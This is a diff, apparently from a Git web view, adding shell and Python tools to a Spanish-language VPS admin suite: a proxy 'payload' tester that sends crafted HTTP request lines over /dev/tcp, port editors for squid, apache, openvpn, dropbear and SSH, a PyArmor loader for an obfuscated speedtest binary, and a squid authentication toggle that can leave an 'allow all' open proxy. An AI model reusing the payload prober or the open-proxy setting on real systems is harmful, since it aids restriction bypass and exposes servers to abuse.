+read -p " [1-2]: " opx
+case $opx in
+1)
+read -p " Digite un Payload: " payloadx
+echo "$payloadx" > $esquelet
+sed -i "s;realData;abc;g" $esquelet
+sed -i "s;netData;abc;g" $esquelet
+sed -i "s;netdata;abc;g" $esquelet
+sed -i "s;raw;abc;g" $esquelet
+sed -i "s;abc;$in;g" $esquelet
+sed -i "s;GET;$req;g" $esquelet
+sed -i "s;mhost;$valor1;g" $esquelet
+sed -i "s;mip;$valor2;g" $esquelet
+construct_fun $esquelet
+read -p " Digite el Proxy/o Dropbear: " hostprox
+read -p " Digite el Puerto: " portx
+msg -bar
+break
+;;
+2)
+msg -bar
+gerar_pay
+construct_fun $esquelet
+break
+;;
+esac
+done
+read -p " Digite el Tiempo De Espera! (Segundos): " VARS
+msg -bar
+line=$(($(cat $esquelet|wc -l)+1))
+for((a=1; a<$line; a++)); do
+(
+echo -ne "${cor[1]}Payload: ${cor[3]}" >&2
+cat $esquelet|head -${a}|tail -1 >&2
+echo -ne "${cor[1]}Respuesta: ${cor[2]}" >&2
+pay="$(cat $esquelet|head -${a}|tail -1)"
+exec 5<>/dev/tcp/${hostprox}/${portx}
+echo "$pay" >&5
+echo -e "$(cat <&5|head -1)\n" >&2
+) & > /dev/null
+PID=$!
+sleep ${VARS}s
+kill -SIGINT $PID &>/dev/null && echo -e "Sin Respuesta\n"
+done
+echo -ne "\033[0m"

+ 235 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/ports.sh

@@ -0,0 +1,235 @@
+#!/bin/bash
+#27/01/2021
+clear
+clear
+declare -A cor=([0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m")
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+port() {
+    local portas
+    local portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN")
+    i=0
+    while read port; do
+        var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+        [[ "$(echo -e ${portas} | grep -w "$var1 $var2")" ]] || {
+            portas+="$var1 $var2 $portas"
+            echo "$var1 $var2"
+            let i++
+        }
+    done <<<"$portas_var"
+}
+verify_port() {
+    local SERVICE="$1"
+    local PORTENTRY="$2"
+    [[ ! $(echo -e $(port | grep -v ${SERVICE}) | grep -w "$PORTENTRY") ]] && return 0 || return 1
+}
+edit_squid() {
+
+    msg -ama "$(fun_trans "REDEFINIR PUERTOS SQUID")"
+    msg -bar
+    if [[ -e /etc/squid/squid.conf ]]; then
+        local CONF="/etc/squid/squid.conf"
+    elif [[ -e /etc/squid3/squid.conf ]]; then
+        local CONF="/etc/squid3/squid.conf"
+    fi
+    NEWCONF="$(cat ${CONF} | grep -v "http_port")"
+    msg -ne "$(fun_trans "Nuevos Puertos"): "
+    read -p "" newports
+    for PTS in $(echo ${newports}); do
+        verify_port squid "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
+            echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
+            return 1
+        }
+    done
+    rm ${CONF}
+    while read varline; do
+        echo -e "${varline}" >>${CONF}
+        if [[ "${varline}" = "#portas" ]]; then
+            for NPT in $(echo ${newports}); do
+                echo -e "http_port ${NPT}" >>${CONF}
+            done
+        fi
+    done <<<"${NEWCONF}"
+    msg -azu "$(fun_trans "AGUARDE")"
+    service squid restart &>/dev/null
+    service squid3 restart &>/dev/null
+    sleep 1s
+    msg -bar
+    msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
+    msg -bar
+}
+edit_apache() {
+    msg -azu "$(fun_trans "REDEFINIR PUERTOS APACHE")"
+    msg -bar
+    local CONF="/etc/apache2/ports.conf"
+    local NEWCONF="$(cat ${CONF})"
+    msg -ne "$(fun_trans "Nuevos Puertos"): "
+    read -p "" newports
+    for PTS in $(echo ${newports}); do
+        verify_port apache "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
+            echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
+            return 1
+        }
+    done
+    rm ${CONF}
+    while read varline; do
+        if [[ $(echo ${varline} | grep -w "Listen") ]]; then
+            if [[ -z ${END} ]]; then
+                echo -e "Listen ${newports}" >>${CONF}
+                END="True"
+            else
+                echo -e "${varline}" >>${CONF}
+            fi
+        else
+            echo -e "${varline}" >>${CONF}
+        fi
+    done <<<"${NEWCONF}"
+    msg -azu "$(fun_trans "AGUARDE")"
+    service apache2 restart &>/dev/null
+    sleep 1s
+    msg -bar
+    msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
+    msg -bar
+}
+edit_openvpn() {
+    msg -azu "$(fun_trans "REDEFINIR PUERTOS OPENVPN")"
+    msg -bar
+    local CONF="/etc/openvpn/server.conf"
+    local CONF2="/etc/openvpn/client-common.txt"
+    local NEWCONF="$(cat ${CONF} | grep -v [Pp]ort)"
+    local NEWCONF2="$(cat ${CONF2})"
+    msg -ne "$(fun_trans "Nuevos puertos"): "
+    read -p "" newports
+    for PTS in $(echo ${newports}); do
+        verify_port openvpn "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
+            echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
+            return 1
+        }
+    done
+    rm ${CONF}
+    while read varline; do
+        echo -e "${varline}" >>${CONF}
+        if [[ ${varline} = "proto tcp" ]]; then
+            echo -e "port ${newports}" >>${CONF}
+        fi
+    done <<<"${NEWCONF}"
+    rm ${CONF2}
+    while read varline; do
+        if [[ $(echo ${varline} | grep -v "remote-random" | grep "remote") ]]; then
+            echo -e "$(echo ${varline} | cut -d' ' -f1,2) ${newports} $(echo ${varline} | cut -d' ' -f4)" >>${CONF2}
+        else
+            echo -e "${varline}" >>${CONF2}
+        fi
+    done <<<"${NEWCONF2}"
+    msg -azu "$(fun_trans "AGUARDE")"
+    service openvpn restart &>/dev/null
+    /etc/init.d/openvpn restart &>/dev/null
+    sleep 1s
+    msg -bar
+    msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
+    msg -bar
+}
+edit_dropbear() {
+    msg -bar
+    msg -azu "$(fun_trans "REDEFINIR PUERTOS DROPBEAR")"
+    msg -bar
+    local CONF="/etc/default/dropbear"
+    local NEWCONF="$(cat ${CONF} | grep -v "DROPBEAR_EXTRA_ARGS")"
+    msg -ne "$(fun_trans "Nuevos Puertos"): "
+    read -p "" newports
+    for PTS in $(echo ${newports}); do
+        verify_port dropbear "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
+            echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
+            return 1
+        }
+    done
+    rm ${CONF}
+    while read varline; do
+        echo -e "${varline}" >>${CONF}
+        if [[ ${varline} = "NO_START=0" ]]; then
+            echo -e 'DROPBEAR_EXTRA_ARGS="VAR"' >>${CONF}
+            for NPT in $(echo ${newports}); do
+                sed -i "s/VAR/-p ${NPT} VAR/g" ${CONF}
+            done
+            sed -i "s/VAR//g" ${CONF}
+        fi
+    done <<<"${NEWCONF}"
+    msg -azu "$(fun_trans "AGUARDE")"
+    service dropbear restart &>/dev/null
+    sleep 1s
+    msg -bar
+    msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
+    msg -bar
+}
+edit_openssh() {
+    msg -azu "$(fun_trans "REDEFINIR PUERTOS OPENSSH")"
+    msg -bar
+    local CONF="/etc/ssh/sshd_config"
+    local NEWCONF="$(cat ${CONF} | grep -v [Pp]ort)"
+    msg -ne "$(fun_trans "Nuevos Puertos"): "
+    read -p "" newports
+    for PTS in $(echo ${newports}); do
+        verify_port sshd "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
+            echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
+            return 1
+        }
+    done
+    rm ${CONF}
+    for NPT in $(echo ${newports}); do
+        echo -e "Port ${NPT}" >>${CONF}
+    done
+    while read varline; do
+        echo -e "${varline}" >>${CONF}
+    done <<<"${NEWCONF}"
+    msg -azu "$(fun_trans "AGUARDE")"
+    service ssh restart &>/dev/null
+    service sshd restart &>/dev/null
+    sleep 1s
+    msg -bar
+    msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
+    msg -bar
+}
+
+main_fun() {
+    msg -bar2
+    msg -tit ""
+    msg -ama "                EDITAR PUERTOS ACTIVOS "
+    msg -bar
+    lacasita
+    msg -bar2
+    unset newports
+    i=0
+    while read line; do
+        let i++
+        case $line in
+        squid | squid3) squid=$i ;;
+        apache | apache2) apache=$i ;;
+        openvpn) openvpn=$i ;;
+        dropbear) dropbear=$i ;;
+        sshd) ssh=$i ;;
+        esac
+    done <<<"$(port | cut -d' ' -f1 | sort -u)"
+    for ((a = 1; a <= $i; a++)); do
+        [[ $squid = $a ]] && echo -ne "\033[1;32m [$squid] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS SQUID")"
+        [[ $apache = $a ]] && echo -ne "\033[1;32m [$apache] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS APACHE")"
+        [[ $openvpn = $a ]] && echo -ne "\033[1;32m [$openvpn] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS OPENVPN")"
+        [[ $dropbear = $a ]] && echo -ne "\033[1;32m [$dropbear] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS DROPBEAR")"
+        [[ $ssh = $a ]] && echo -ne "\033[1;32m [$ssh] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS SSH")"
+    done
+    echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -azu "\e[97m\033[1;41m VOLVER \033[1;37m"
+    msg -bar
+    while true; do
+        echo -ne "\033[1;37m$(fun_trans "Seleccione"): " && read selection
+        tput cuu1 && tput dl1
+        [[ ! -z $squid ]] && [[ $squid = $selection ]] && edit_squid && break
+        [[ ! -z $apache ]] && [[ $apache = $selection ]] && edit_apache && break
+        [[ ! -z $openvpn ]] && [[ $openvpn = $selection ]] && edit_openvpn && break
+        [[ ! -z $dropbear ]] && [[ $dropbear = $selection ]] && edit_dropbear && break
+        [[ ! -z $ssh ]] && [[ $ssh = $selection ]] && edit_openssh && break
+        [[ "0" = $selection ]] && break
+    done
+    #exit 0
+}
+main_fun

تفاوت فایلی نمایش داده نمی شود زیرا این فایل بسیار بزرگ است
+ 3 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/speed.py


+ 464 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/speedtest_v1/__init__.py

@@ -0,0 +1,464 @@
+# These module alos are used by protection code, so that protection
+# code needn't import anything
+import os
+import platform
+import sys
+import struct
+
+# Because ctypes is new from Python 2.5, so pytransform doesn't work
+# before Python 2.5
+#
+from ctypes import cdll, c_char, c_char_p, c_int, c_void_p, \
+    pythonapi, py_object, PYFUNCTYPE, CFUNCTYPE
+from fnmatch import fnmatch
+
+#
+# Support Platforms
+#
+plat_path = 'platforms'
+
+plat_table = (
+    ('windows', ('windows', 'cygwin-*')),
+    ('darwin', ('darwin',)),
+    ('ios', ('ios',)),
+    ('linux', ('linux*',)),
+    ('freebsd', ('freebsd*', 'openbsd*')),
+    ('poky', ('poky',)),
+)
+
+arch_table = (
+    ('x86', ('i?86', )),
+    ('x86_64', ('x64', 'x86_64', 'amd64', 'intel')),
+    ('arm', ('armv5',)),
+    ('armv6', ('armv6l',)),
+    ('armv7', ('armv7l',)),
+    ('ppc64', ('ppc64le',)),
+    ('mips32', ('mips',)),
+    ('aarch32', ('aarch32',)),
+    ('aarch64', ('aarch64', 'arm64'))
+)
+
+#
+# Hardware type
+#
+HT_HARDDISK, HT_IFMAC, HT_IPV4, HT_IPV6, HT_DOMAIN = range(5)
+
+#
+# Global
+#
+_pytransform = None
+
+
+class PytransformError(Exception):
+    pass
+
+
+def dllmethod(func):
+    def wrap(*args, **kwargs):
+        return func(*args, **kwargs)
+    return wrap
+
+
+@dllmethod
+def version_info():
+    prototype = PYFUNCTYPE(py_object)
+    dlfunc = prototype(('version_info', _pytransform))
+    return dlfunc()
+
+
+@dllmethod
+def init_pytransform():
+    major, minor = sys.version_info[0:2]
+    # Python2.5 no sys.maxsize but sys.maxint
+    # bitness = 64 if sys.maxsize > 2**32 else 32
+    prototype = PYFUNCTYPE(c_int, c_int, c_int, c_void_p)
+    init_module = prototype(('init_module', _pytransform))
+    ret = init_module(major, minor, pythonapi._handle)
+    if (ret & 0xF000) == 0x1000:
+        raise PytransformError('Initialize python wrapper failed (%d)'
+                               % (ret & 0xFFF))
+    return ret
+
+
+@dllmethod
+def init_runtime():
+    prototype = PYFUNCTYPE(c_int, c_int, c_int, c_int, c_int)
+    _init_runtime = prototype(('init_runtime', _pytransform))
+    return _init_runtime(0, 0, 0, 0)
+
+
+@dllmethod
+def encrypt_code_object(pubkey, co, flags, suffix=''):
+    _pytransform.set_option(6, suffix.encode())
+    prototype = PYFUNCTYPE(py_object, py_object, py_object, c_int)
+    dlfunc = prototype(('encrypt_code_object', _pytransform))
+    return dlfunc(pubkey, co, flags)
+
+
+@dllmethod
+def generate_license_file(filename, priname, rcode, start=-1, count=1):
+    prototype = PYFUNCTYPE(c_int, c_char_p, c_char_p, c_char_p, c_int, c_int)
+    dlfunc = prototype(('generate_project_license_files', _pytransform))
+    return dlfunc(filename.encode(), priname.encode(), rcode.encode(),
+                  start, count) if sys.version_info[0] == 3 \
+        else dlfunc(filename, priname, rcode, start, count)
+
+
+@dllmethod
+def generate_license_key(prikey, keysize, rcode):
+    prototype = PYFUNCTYPE(py_object, c_char_p, c_int, c_char_p)
+    dlfunc = prototype(('generate_license_key', _pytransform))
+    return dlfunc(prikey, keysize, rcode) if sys.version_info[0] == 2 \
+        else dlfunc(prikey, keysize, rcode.encode())
+
+
+@dllmethod
+def get_registration_code():
+    prototype = PYFUNCTYPE(py_object)
+    dlfunc = prototype(('get_registration_code', _pytransform))
+    return dlfunc()
+
+
+@dllmethod
+def get_expired_days():
+    prototype = PYFUNCTYPE(py_object)
+    dlfunc = prototype(('get_expired_days', _pytransform))
+    return dlfunc()
+
+
+@dllmethod
+def clean_obj(obj, kind):
+    prototype = PYFUNCTYPE(c_int, py_object, c_int)
+    dlfunc = prototype(('clean_obj', _pytransform))
+    return dlfunc(obj, kind)
+
+
+def clean_str(*args):
+    tdict = {
+        'str': 0,
+        'bytearray': 1,
+        'unicode': 2
+    }
+    for obj in args:
+        k = tdict.get(type(obj).__name__)
+        if k is None:
+            raise RuntimeError('Can not clean object: %s' % obj)
+        clean_obj(obj, k)
+
+
+def get_hd_info(hdtype, name=None):
+    if hdtype not in range(HT_DOMAIN + 1):
+        raise RuntimeError('Invalid parameter hdtype: %s' % hdtype)
+    size = 256
+    t_buf = c_char * size
+    buf = t_buf()
+    cname = c_char_p(0 if name is None
+                     else name.encode('utf-8') if hasattr('name', 'encode')
+                     else name)
+    if (_pytransform.get_hd_info(hdtype, buf, size, cname) == -1):
+        raise PytransformError('Get hardware information failed')
+    return buf.value.decode()
+
+
+def show_hd_info():
+    return _pytransform.show_hd_info()
+
+
+def assert_armored(*names):
+    prototype = PYFUNCTYPE(py_object, py_object)
+    dlfunc = prototype(('assert_armored', _pytransform))
+
+    def wrapper(func):
+        def wrap_execute(*args, **kwargs):
+            dlfunc(names)
+            return func(*args, **kwargs)
+        return wrap_execute
+    return wrapper
+
+
+def check_armored(*names):
+    try:
+        prototype = PYFUNCTYPE(py_object, py_object)
+        prototype(('assert_armored', _pytransform))(names)
+        return True
+    except RuntimeError:
+        return False
+
+
+def get_license_info():
+    info = {
+        'ISSUER': None,
+        'EXPIRED': None,
+        'HARDDISK': None,
+        'IFMAC': None,
+        'IFIPV4': None,
+        'DOMAIN': None,
+        'DATA': None,
+        'CODE': None,
+    }
+    rcode = get_registration_code().decode()
+    if rcode.startswith('*VERSION:'):
+        index = rcode.find('\n')
+        info['ISSUER'] = rcode[9:index].split('.')[0].replace('-sn-1.txt', '')
+        rcode = rcode[index+1:]
+
+    index = 0
+    if rcode.startswith('*TIME:'):
+        from time import ctime
+        index = rcode.find('\n')
+        info['EXPIRED'] = ctime(float(rcode[6:index]))
+        index += 1
+
+    if rcode[index:].startswith('*FLAGS:'):
+        index += len('*FLAGS:') + 1
+        info['FLAGS'] = ord(rcode[index - 1])
+
+    prev = None
+    start = index
+    for k in ['HARDDISK', 'IFMAC', 'IFIPV4', 'DOMAIN', 'FIXKEY', 'CODE']:
+        index = rcode.find('*%s:' % k)
+        if index > -1:
+            if prev is not None:
+                info[prev] = rcode[start:index]
+            prev = k
+            start = index + len(k) + 2
+    info['CODE'] = rcode[start:]
+    i = info['CODE'].find(';')
+    if i > 0:
+        info['DATA'] = info['CODE'][i+1:]
+        info['CODE'] = info['CODE'][:i]
+    return info
+
+
+def get_license_code():
+    return get_license_info()['CODE']
+
+
+def get_user_data():
+    return get_license_info()['DATA']
+
+
+def _match_features(patterns, s):
+    for pat in patterns:
+        if fnmatch(s, pat):
+            return True
+
+
+def _gnu_get_libc_version():
+    try:
+        prototype = CFUNCTYPE(c_char_p)
+        ver = prototype(('gnu_get_libc_version', cdll.LoadLibrary('')))()
+        return ver.decode().split('.')
+    except Exception:
+        pass
+
+
+def format_platform(platid=None):
+    if platid:
+        return os.path.normpath(platid)
+
+    plat = platform.system().lower()
+    mach = platform.machine().lower()
+
+    for alias, platlist in plat_table:
+        if _match_features(platlist, plat):
+            plat = alias
+            break
+
+    if plat == 'linux':
+        cname, cver = platform.libc_ver()
+        if cname == 'musl':
+            plat = 'musl'
+        elif cname == 'libc':
+            plat = 'android'
+        elif cname == 'glibc':
+            v = _gnu_get_libc_version()
+            if v and len(v) >= 2 and (int(v[0]) * 100 + int(v[1])) < 214:
+                plat = 'centos6'
+
+    for alias, archlist in arch_table:
+        if _match_features(archlist, mach):
+            mach = alias
+            break
+
+    if plat == 'windows' and mach == 'x86_64':
+        bitness = struct.calcsize('P'.encode()) * 8
+        if bitness == 32:
+            mach = 'x86'
+
+    return os.path.join(plat, mach)
+
+
+# Load _pytransform library
+def _load_library(path=None, is_runtime=0, platid=None, suffix='', advanced=0):
+    path = os.path.dirname(__file__) if path is None \
+        else os.path.normpath(path)
+
+    plat = platform.system().lower()
+    name = '_pytransform' + suffix
+    if plat == 'linux':
+        filename = os.path.abspath(os.path.join(path, name + '.so'))
+    elif plat == 'darwin':
+        filename = os.path.join(path, name + '.dylib')
+    elif plat == 'windows':
+        filename = os.path.join(path, name + '.dll')
+    elif plat == 'freebsd':
+        filename = os.path.join(path, name + '.so')
+    else:
+        raise PytransformError('Platform %s not supported' % plat)
+
+    if platid is not None and os.path.isfile(platid):
+        filename = platid
+    elif platid is not None or not os.path.exists(filename) or not is_runtime:
+        libpath = platid if platid is not None and os.path.isabs(platid) else \
+            os.path.join(path, plat_path, format_platform(platid))
+        filename = os.path.join(libpath, os.path.basename(filename))
+
+    if not os.path.exists(filename):
+        raise PytransformError('Could not find "%s"' % filename)
+
+    try:
+        m = cdll.LoadLibrary(filename)
+    except Exception as e:
+        if sys.flags.debug:
+            print('Load %s failed:\n%s' % (filename, e))
+        raise
+
+    # Removed from v4.6.1
+    # if plat == 'linux':
+    #     m.set_option(-1, find_library('c').encode())
+
+    if not os.path.abspath('.') == os.path.abspath(path):
+        m.set_option(1, path.encode() if sys.version_info[0] == 3 else path)
+
+    # Required from Python3.6
+    m.set_option(2, sys.byteorder.encode())
+
+    if sys.flags.debug:
+        m.set_option(3, c_char_p(1))
+    m.set_option(4, c_char_p(not is_runtime))
+
+    # Disable advanced mode by default
+    m.set_option(5, c_char_p(not advanced))
+
+    # Set suffix for private package
+    if suffix:
+        m.set_option(6, suffix.encode())
+
+    return m
+
+
+def pyarmor_init(path=None, is_runtime=0, platid=None, suffix='', advanced=0):
+    global _pytransform
+    _pytransform = _load_library(path, is_runtime, platid, suffix, advanced)
+    return init_pytransform()
+
+
+def pyarmor_runtime(path=None, suffix='', advanced=0):
+    if _pytransform is not None:
+        return
+
+    try:
+        pyarmor_init(path, is_runtime=1, suffix=suffix, advanced=advanced)
+        init_runtime()
+    except Exception as e:
+        if sys.flags.debug or hasattr(sys, '_catch_pyarmor'):
+            raise
+        sys.stderr.write("%s\n" % str(e))
+        sys.exit(1)
+
+
+# ----------------------------------------------------------
+# End of pytransform
+# ----------------------------------------------------------
+
+#
+# Not available from v5.6
+#
+
+
+def generate_capsule(licfile):
+    prikey, pubkey, prolic = _generate_project_capsule()
+    capkey, newkey = _generate_pytransform_key(licfile, pubkey)
+    return prikey, pubkey, capkey, newkey, prolic
+
+
+@dllmethod
+def _generate_project_capsule():
+    prototype = PYFUNCTYPE(py_object)
+    dlfunc = prototype(('generate_project_capsule', _pytransform))
+    return dlfunc()
+
+
+@dllmethod
+def _generate_pytransform_key(licfile, pubkey):
+    prototype = PYFUNCTYPE(py_object, c_char_p, py_object)
+    dlfunc = prototype(('generate_pytransform_key', _pytransform))
+    return dlfunc(licfile.encode() if sys.version_info[0] == 3 else licfile,
+                  pubkey)
+
+
+#
+# Deprecated functions from v5.1
+#
+@dllmethod
+def encrypt_project_files(proname, filelist, mode=0):
+    prototype = PYFUNCTYPE(c_int, c_char_p, py_object, c_int)
+    dlfunc = prototype(('encrypt_project_files', _pytransform))
+    return dlfunc(proname.encode(), filelist, mode)
+
+
+def generate_project_capsule(licfile):
+    prikey, pubkey, prolic = _generate_project_capsule()
+    capkey = _encode_capsule_key_file(licfile)
+    return prikey, pubkey, capkey, prolic
+
+
+@dllmethod
+def _encode_capsule_key_file(licfile):
+    prototype = PYFUNCTYPE(py_object, c_char_p, c_char_p)
+    dlfunc = prototype(('encode_capsule_key_file', _pytransform))
+    return dlfunc(licfile.encode(), None)
+
+
+@dllmethod
+def encrypt_files(key, filelist, mode=0):
+    t_key = c_char * 32
+    prototype = PYFUNCTYPE(c_int, t_key, py_object, c_int)
+    dlfunc = prototype(('encrypt_files', _pytransform))
+    return dlfunc(t_key(*key), filelist, mode)
+
+
+@dllmethod
+def generate_module_key(pubname, key):
+    t_key = c_char * 32
+    prototype = PYFUNCTYPE(py_object, c_char_p, t_key, c_char_p)
+    dlfunc = prototype(('generate_module_key', _pytransform))
+    return dlfunc(pubname.encode(), t_key(*key), None)
+
+#
+# Compatible for PyArmor v3.0
+#
+@dllmethod
+def old_init_runtime(systrace=0, sysprofile=1, threadtrace=0, threadprofile=1):
+    '''Only for old version, before PyArmor 3'''
+    pyarmor_init(is_runtime=1)
+    prototype = PYFUNCTYPE(c_int, c_int, c_int, c_int, c_int)
+    _init_runtime = prototype(('init_runtime', _pytransform))
+    return _init_runtime(systrace, sysprofile, threadtrace, threadprofile)
+
+
+@dllmethod
+def import_module(modname, filename):
+    '''Only for old version, before PyArmor 3'''
+    prototype = PYFUNCTYPE(py_object, c_char_p, c_char_p)
+    _import_module = prototype(('import_module', _pytransform))
+    return _import_module(modname.encode(), filename.encode())
+
+
+@dllmethod
+def exec_file(filename):
+    '''Only for old version, before PyArmor 3'''
+    prototype = PYFUNCTYPE(c_int, c_char_p)
+    _exec_file = prototype(('exec_file', _pytransform))
+    return _exec_file(filename.encode())

BIN
SCRIPT-v8.5x Mod/VPS-MX/herramientas/speedtest_v1/__init__.pyc


BIN
SCRIPT-v8.5x Mod/VPS-MX/herramientas/speedtest_v1/_pytransform.so


+ 168 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/squidpass.sh

@@ -0,0 +1,168 @@
+#!/bin/bash
+#27/01/2021
+clear
+clear
+declare -A cor=([0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m")
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+fun_bar() {
+    comando[0]="$1"
+    comando[1]="$2"
+    (
+        [[ -e $HOME/fim ]] && rm $HOME/fim
+        ${comando[0]} -y >/dev/null 2>&1
+        ${comando[1]} -y >/dev/null 2>&1
+        touch $HOME/fim
+    ) >/dev/null 2>&1 &
+    echo -ne "\033[1;33m ["
+    while true; do
+        for ((i = 0; i < 18; i++)); do
+            echo -ne "\033[1;31m##"
+            sleep 0.1s
+        done
+        [[ -e $HOME/fim ]] && rm $HOME/fim && break
+        echo -e "\033[1;33m]"
+        sleep 1s
+        tput cuu1
+        tput dl1
+        echo -ne "\033[1;33m ["
+    done
+    echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m"
+}
+
+#PREENXE A VARIAVEL $IP
+meu_ip() {
+    MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+    MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+    [[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
+}
+
+squidpass() {
+    tmp_arq="/tmp/arq-tmp"
+    if [ -d "/etc/squid" ]; then
+        pwd="/etc/squid/passwd"
+        config_="/etc/squid/squid.conf"
+        service_="squid"
+        squid_="0"
+    elif [ -d "/etc/squid3" ]; then
+        pwd="/etc/squid3/passwd"
+        config_="/etc/squid3/squid.conf"
+        service_="squid3"
+        squid_="1"
+    fi
+    [[ ! -e $config_ ]] &&
+        msg -bar &&
+        echo -e " \033[1;36m Proxy Squid no Instalado no puede proseguir" &&
+        msg -bar &&
+        return 0
+    if [ -e $pwd ]; then
+        echo -e "${cor[3]} Desea Desactivar Autentificasion del Proxy Squid"
+        read -p " [S/N]: " -e -i n sshsn
+        [[ "$sshsn" = @(s|S|y|Y) ]] && {
+            msg -bar
+            echo -e " \033[1;36mDesintalando Dependencias:"
+            rm -rf /usr/bin/squid_log1
+            fun_bar 'apt-get remove apache2-utils'
+            msg -bar
+            cat $config_ | grep -v '#Password' >$tmp_arq
+            mv -f $tmp_arq $config_
+            cat $config_ | grep -v '^auth_param.*passwd*$' >$tmp_arq
+            mv -f $tmp_arq $config_
+            cat $config_ | grep -v '^auth_param.*proxy*$' >$tmp_arq
+            mv -f $tmp_arq $config_
+            cat $config_ | grep -v '^acl.*REQUIRED*$' >$tmp_arq
+            mv -f $tmp_arq $config_
+            cat $config_ | grep -v '^http_access.*authenticated*$' >$tmp_arq
+            mv -f $tmp_arq $config_
+            cat $config_ | grep -v '^http_access.*all*$' >$tmp_arq
+            mv -f $tmp_arq $config_
+            echo -e "
+ http_access allow all" >>"$config_"
+            rm -f $pwd
+            service $service_ restart >/dev/null 2>&1 &
+            echo -e " \033[1;31m Desautentificasion de Proxy Squid Desactivado"
+            msg -bar
+        }
+    else
+        echo -e "${cor[3]} "Habilitar Autenfificasion de Proxy Squid?""
+        read -p " [S/N]: " -e -i n sshsn
+        [[ "$sshsn" = @(s|S|y|Y) ]] && {
+            msg -bar
+            echo -e " \033[1;36mInstalando Dependencias:"
+            echo "Archivo SQUID PASS" >/usr/bin/squid_log1
+            fun_bar 'apt-get install apache2-utils'
+            msg -bar
+            read -e -p " Tu nombre de usuario deseado: " usrn
+            [[ $usrn = "" ]] &&
+                msg -bar &&
+                echo -e " \033[1;31mEl usuario no puede ser nulo" &&
+                msg -bar &&
+                return 0
+            htpasswd -c $pwd $usrn
+            succes_=$(grep -c "$usrn" $pwd)
+            if [ "$succes_" = "0" ]; then
+                rm -f $pwd
+                msg -bar
+                echo -e " \033[1;31m Error al generar la contrase�a, no se inici� la autenticaci�n de Squid"
+                msg -bar
+                return 0
+            elif [[ "$succes_" = "1" ]]; then
+                cat $config_ | grep -v '^http_access.*all*$' >$tmp_arq
+                mv -f $tmp_arq $config_
+                if [ "$squid_" = "0" ]; then
+                    echo -e "#Password
+ auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwd
+ auth_param basic realm proxy
+ acl authenticated proxy_auth REQUIRED
+ http_access allow authenticated
+ http_access deny all" >>"$config_"
+                    service squid restart >/dev/null 2>&1 &
+                    update-rc.d squid defaults >/dev/null 2>&1 &
+                elif [ "$squid_" = "1" ]; then
+                    echo -e "#Password
+ auth_param basic program /usr/lib/squid3/basic_ncsa_auth /etc/squid3/passwd
+ auth_param basic realm proxy
+ acl authenticated proxy_auth REQUIRED
+ http_access allow authenticated
+ http_access deny all" >>"$config_"
+                    service squid3 restart >/dev/null 2>&1 &
+                    update-rc.d squid3 defaults >/dev/null 2>&1 &
+                fi
+                msg -bar
+                service squid restart >/dev/null 2>&1
+                echo -e " \033[1;32m PROTECCION DE PROXY INICIADA"
+                msg -bar
+            fi
+        }
+    fi
+}
+msg -bar
+msg -tit
+msg -ama "            AUTENTIFICAR PROXY SQUID "
+msg -bar
+unset squid_log1
+[[ -e /usr/bin/squid_log1 ]] && squid_log1="\033[1;32m$(source trans -b pt:${id} "ACTIVO")"
+echo -e "${cor[2]} [1] > ${cor[3]}AUTENTIFICAR O DESAUTENTIFICAR PROXY $squid_log1"
+echo -e "${cor[2]} [0] > ${cor[4]}VOLVER"
+msg -bar
